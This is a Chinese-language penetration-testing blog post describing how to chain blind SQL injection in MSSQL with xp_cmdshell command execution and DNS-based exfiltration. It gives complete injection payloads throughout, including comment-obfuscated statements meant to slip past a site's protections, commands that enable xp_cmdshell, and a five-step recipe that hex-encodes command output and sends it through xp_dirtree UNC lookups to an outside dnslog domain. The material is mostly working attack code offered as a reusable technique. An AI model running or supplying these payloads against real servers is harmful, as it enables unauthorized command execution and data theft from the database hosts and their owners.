C1imber's Blog

渗透技巧-mssql盲注与dnslog的完美结合(命令执行)

字数统计: 1.5k阅读时长: 6 min
2019/01/11 Share

mssql盲注与dnslog的完美结合(命令执行)

在一次渗透的过程中,遇到了sqlserver的注入点,在使用dnslog接收语句的执行结果时发现可以执行系统命令,但是在接收结果的时候遇到了些问题,问题如下

通过手工注入将命令执行结果发送至dnslog的语句如下:

1
2
3
;CREATE/**/TABLE/**/tt_tmp/**/(tmp1/**/varchar(8000));--
;DECLARE/**/@code/**/VARCHAR(8000);SET/**/@code=0x77686f616d69;insert/**/into/**/tt_tmp(tmp1)/**/exec/**/master..xp_cmdshell/**/@code;--
;declare @a char(128);set @a='\\'%2b(select master.dbo.fn_varbintohexstr(cast(cast((select top 1 tmp1 from tt_tmp) as char(255)) as VARBINARY)))%2b'.meomna.ceye.io\abc';exec master..xp_dirtree @a;--

以上语句用来执行whoami,然后使用dnslog接收命令执行的结果,结果如图
mark

这几条语句大致的意思是首先创建一个临时表,之后使用xp_cmdshell这个存储过程去执行whoami并将命令执行的结果插入到这个临时表,然后查询临时表的内容并将查询结果通过xp_dirtree这个存储过程发送至dnslog,这里需要对结果进行16进制编码,因为UNC路径里不允许有一些特殊字符,至于为什么要使用这种方式呢,一是因为网站有防护,直接上sqlmap的话会被封ip影响渗透,二是因为该注入点只能通过盲注,布尔盲注和时间盲注的速度我就不说了,大家都懂的,通过结果可以看到可以成功的执行whoami,但是接下来问题就出现了,我在执行ipconfig的时候出现了意料之外的结果,首先需要获取命令执行结果的长度,因为在使用dnslog注入的时候,UNC路径的长度也有限制,不能超过128个字符,超出长度的话语句就会执行失败,语句如下

1
2
3
4
;drop/**/table/**/tt_tmp;--
;CREATE/**/TABLE/**/tt_tmp/**/(tmp1/**/varchar(8000));--
;DECLARE/**/@code/**/VARCHAR(8000);SET/**/@code=0x6970636f6e666967;insert/**/into/**/tt_tmp(tmp1)/**/exec/**/master..xp_cmdshell/**/@code;--
;declare @a char(128);set @a='\\'%2b(select cast(len(master.dbo.fn_varbintohexstr(cast(cast((select top 1 tmp1 from tt_tmp) as char(255)) as VARBINARY))) as char(32)))%2b'.meomna.ceye.io\abc';exec master..xp_dirtree @a;--

语句的作用首先删除临时表,执行ipconfig并将命令执行的结果插入临时表,接着查询结果并进行16进制编码,并且获取长度,结果如下
mark
可以看到这里出现了一个奇怪的问题,获取到的长度仅仅为62字节,而ipconfig的输出肯定是比这个要长的,接下来把内容输出一下看看

1
;declare @a char(128);set @a='\\'%2b(select master.dbo.fn_varbintohexstr(cast(cast((select top 1 tmp1 from tt_tmp) as char(255)) as VARBINARY)))%2b'.meomna.ceye.io\abc';exec master..xp_dirtree @a;--

mark

可以看到并没有报错,成功接收到了结果,但是可以看出全是空白字符,这里猜测命令的执行结果是多行的,但是这里只获取了第一行结果的长度和内容

本地分析测试一波:

1
2
CREATE/**/TABLE/**/tt_tmp/**/(tmp1/**/varchar(8000));--
DECLARE/**/@code/**/VARCHAR(8000);SET/**/@code=0x77686f616d69;insert/**/into/**/tt_tmp(tmp1)/**/exec/**/master..xp_cmdshell/**/@code;

mark
报错说禁止访问xp_cmdshell,开启一下

1
EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;

mark
现在可以了
mark
重新插入,执行ipconfig

1
2
CREATE/**/TABLE/**/tt_tmp/**/(tmp1/**/varchar(8000));--
DECLARE/**/@code/**/VARCHAR(8000);SET/**/@code=0x6970636f6e666967;insert/**/into/**/tt_tmp(tmp1)/**/exec/**/master..xp_cmdshell/**/@code;

mark
通过结果可以看到确实是这样子没错,在将命令的执行结果插入表中的时候遇到了换行符,所以将执行结果插入到了多行内,第一行为空字符
mark

解决办法:

创建表的时候增加主键,之后逐行查询,修改后的语句如下

1
2
3
CREATE TABLE tt_tmp (id INT PRIMARY KEY IDENTITY,tmp1 nvarchar(4000));
DECLARE @code varchar(4000);SET @code=0x6970636f6e666967;insert into tt_tmp(tmp1) exec master..xp_cmdshell @code;
select master.dbo.fn_varbintohexstr(cast(cast((select tmp1 from tt_tmp where id=8) as char(255)) as VARBINARY));

再次查询一下经过16进制编码后的长度,发现长度依旧被截断到了 62字节,wtf!?
mark
但是直接查询内容的话并没有发现内容被截断
mark
说明截断发生在了16进制转换的过程中,分析了一波发现原来是由于转化为二进制的时候没有给VARBINARY设置长度,所以转化成二进制的时候使用的是默认长度而导致后面的内容被截断了,修改一下语句

1
select master.dbo.fn_varbintohexstr(cast(cast((select tmp1 from tt_tmp where id=8) as char(255)) as VARBINARY(4000)));

没有再发生截断问题
mark

1
select cast(len(master.dbo.fn_varbintohexstr(cast(cast((select tmp1 from tt_tmp where id=8) as char(255)) as VARBINARY(4000)))) as char(32));

发现长度为512字节,后面多出的会由空格x20填充

之后通过一系列折腾,总结使用dnslog接收sqlserver执行命令结果的方法

第一步:创建临时表用于接收命令的执行结果,需要定义主键:

1
CREATE TABLE tt_tmp (id INT PRIMARY KEY IDENTITY,tmp1 nvarchar(4000));

第二步:将命令执行结果插入临时表:

1
DECLARE @code varchar(4000);SET @code=0x77686f616d69;insert into tt_tmp(tmp1) exec master..xp_cmdshell @code;

第三步:由于插入了多行,首先需要获取行数(经过测试部分版本的sqlserver在UNC查询结果的位置不能有空格,需要去除空格,使用rtrim):

1
declare @a char(128);set @a='\\'+(select rtrim(cast(COUNT(*) as char(32))) from tt_tmp)+'.meomna.ceye.io\abc';exec master..xp_dirtree @a;

第四步:将查询结果发送至dnslog(逐行读取,截取字符串)

1
declare @a char(128);set @a='\\'%2b(select substring(master.dbo.fn_varbintohexstr(cast(cast((select tmp1 from tt_tmp where id=1) as char(255)) as VARBINARY(4000))),1,60))%2b'.meomna.ceye.io\abc';exec master..xp_dirtree @a;

每次截取60个字符,直到截取完512个字符为止

1
2
3
4
5
6
7
8
9
10
11
12
13
14
declare @a char(128);set @a='\\'%2b(select substring(master.dbo.fn_varbintohexstr(cast(cast((select tmp1 from tt_tmp where id=1) as char(255)) as VARBINARY(4000))),61,60))%2b'.meomna.ceye.io\abc';exec master..xp_dirtree @a;
...
...
总共截取9次,可以写脚本完成
1-60
61-120
121-180
181-240
241-300
301-360
361-420
421-480
481-512

第五步:删除临时表,用于接收下一次命令执行的结果

1
drop/**/table/**/tt_tmp;--
CATALOG
  1. 1. mssql盲注与dnslog的完美结合(命令执行)
    1. 1.0.1.